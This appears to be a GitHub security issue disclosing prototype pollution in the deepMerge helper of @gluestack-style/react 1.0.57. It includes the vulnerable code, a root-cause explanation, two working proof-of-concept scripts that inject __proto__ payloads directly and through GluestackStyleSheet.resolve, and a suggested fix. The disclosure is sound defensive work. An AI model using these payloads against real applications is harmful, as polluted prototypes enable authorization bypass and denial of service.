Skip to content

Prototype pollution in deepMerge via unguarded __proto__ / constructor keys, reachable through internal subpaths #3429

Description

@Dremig

Summary

@gluestack-style/react@1.0.57 (latest) is vulnerable to prototype pollution. The deepMerge helper in lib/commonjs/core/utils.js iterates source with for...in and, while it guards with source.hasOwnProperty(key), that guard cannot stop an own enumerable __proto__ property (produced by JSON.parse). When target is a plain object, target['__proto__'] resolves to Object.prototype, so the recursive deepMerge(target[key], source[key]) writes attacker-controlled fields onto Object.prototype and they are inherited by every plain object thereafter.

This is not limited to calling deepMerge directly. The helper is consumed by GluestackStyleSheet.resolve(...) in lib/commonjs/style-sheet/index.js, where the ExtendedConfig argument is passed straight into deepMerge(CONFIG, ExtendedConfig) without any pre-processing that would drop __proto__. Because the package ships without an exports field in package.json, every internal subpath (e.g. @gluestack-style/react/lib/commonjs/style-sheet) is externally require-able, so the pollution is reachable through the style-sheet resolution path, not only through the utility itself.

Details

Affected file: packages/styled/react/lib/commonjs/core/utils.js (and the ESM mirror under lib/module/core/utils.js).

const deepMerge = (target = {}, source) => {
  for (const key in source) {
    if (source.hasOwnProperty(key)) {
      if (typeof target[key] === 'object' && typeof source[key] === 'object') {
        deepMerge(target[key], source[key]);
      } else {
        target[key] = source[key];
      }
    }
  }
  return target;
};

Root cause:

  • for...in enumerates __proto__ when it is an own enumerable property of source (which JSON.parse('{"__proto__":...}') produces).
  • source.hasOwnProperty('__proto__') returns true for that own property, so the guard does not reject it.
  • For a plain-object target, target['__proto__'] is Object.prototype, and because both sides are objects, control enters the deepMerge(target[key], source[key]) branch — i.e. deepMerge(Object.prototype, source['__proto__']) — writing the attacker's nested fields onto Object.prototype.

Indirect reachability (no direct deepMerge call):

lib/commonjs/style-sheet/index.js, StyleInjector.resolve:

resolve(cssIds = [], CONFIG, ExtendedConfig, resolve = true, declarationType = 'boot', ignoreKeys = new Set()) {
  let componentExtendedConfig = CONFIG;
  if (ExtendedConfig) {
    componentExtendedConfig = deepMerge(CONFIG, ExtendedConfig);   // ExtendedConfig flows straight in
  }
  ...
}

ExtendedConfig is a caller-supplied object and is not normalized through Object.keys before reaching deepMerge, so an own __proto__ key survives into the merge. The package has no exports map, so require('@gluestack-style/react/lib/commonjs/style-sheet') is externally reachable.

Note: the sx prop path through styled.jsconvertSxToSxVerbosed(userSX) is not affected, because convertSxToSxVerbosed internally uses Object.keys(theme), which does not enumerate __proto__. The vulnerable path is the direct deepMerge utility and the GluestackStyleSheet.resolve ExtendedConfig argument.

PoC

Install the affected version:

mkdir gs-pp && cd gs-pp
npm init -y
npm i @gluestack-style/react@1.0.57

1) Direct deepMerge

// poc-direct.cjs
const { deepMerge } = require('@gluestack-style/react/lib/commonjs/core/utils');

delete Object.prototype.pp;
deepMerge({}, JSON.parse('{"__proto__":{"pp":"yes"}}'));
console.log(Object.prototype.pp); // 'yes'
console.log(({}).pp);              // 'yes'
delete Object.prototype.pp;

2) Indirect, via GluestackStyleSheet.resolve (no direct deepMerge call)

// poc-indirect.cjs
const { GluestackStyleSheet } = require('@gluestack-style/react/lib/commonjs/style-sheet');

delete Object.prototype.ss_gp;
const CONFIG = {};
const ExtendedConfig = JSON.parse('{"__proto__":{"ss_gp":"PWNED_VIA_STYLESHEET"}}');
try {
  GluestackStyleSheet.resolve([], CONFIG, ExtendedConfig, true, 'boot', new Set());
} catch (e) {
  // later steps in resolve() may throw once CONFIG is empty; the merge already ran
}
console.log(Object.prototype.ss_gp); // 'PWNED_VIA_STYLESHEET'
console.log(({}).ss_gp);              // 'PWNED_VIA_STYLESHEET'
delete Object.prototype.ss_gp;

Run:

node poc-direct.cjs
node poc-indirect.cjs

Expected output on @gluestack-style/react@1.0.57:

yes
yes
PWNED_VIA_STYLESHEET
PWNED_VIA_STYLESHEET

Impact

Prototype pollution. Any code path that supplies an attacker-influenced object (configuration, theme extension, provider options, or any data that reaches deepMerge or GluestackStyleSheet.resolve's ExtendedConfig) can inject properties onto Object.prototype, affecting every plain object in the application:

  • injected properties are inherited by all plain objects, enabling condition bypasses (if (obj.admin)), denial-of-service via unexpected keys in for...in loops, and logic tampering;
  • the sx prop path happens to be shielded by Object.keys, but the deepMerge utility and the style-sheet ExtendedConfig path are not;
  • the package has no exports field, so internal subpaths are externally reachable.

Affected package: @gluestack-style/react, version 1.0.57 (current npm latest).

Suggested fix: reject __proto__, constructor, and prototype keys in deepMerge before recursing/assigning, and use Object.prototype.hasOwnProperty.call(source, key) together with an explicit denylist; additionally consider adding an exports map to package.json so internal modules are not part of the public surface.

Environment

  • @gluestack-style/react: 1.0.57 (npm latest)
  • Node.js: v24.10.0
  • Reproduced on a clean install.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    Status
    No status

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions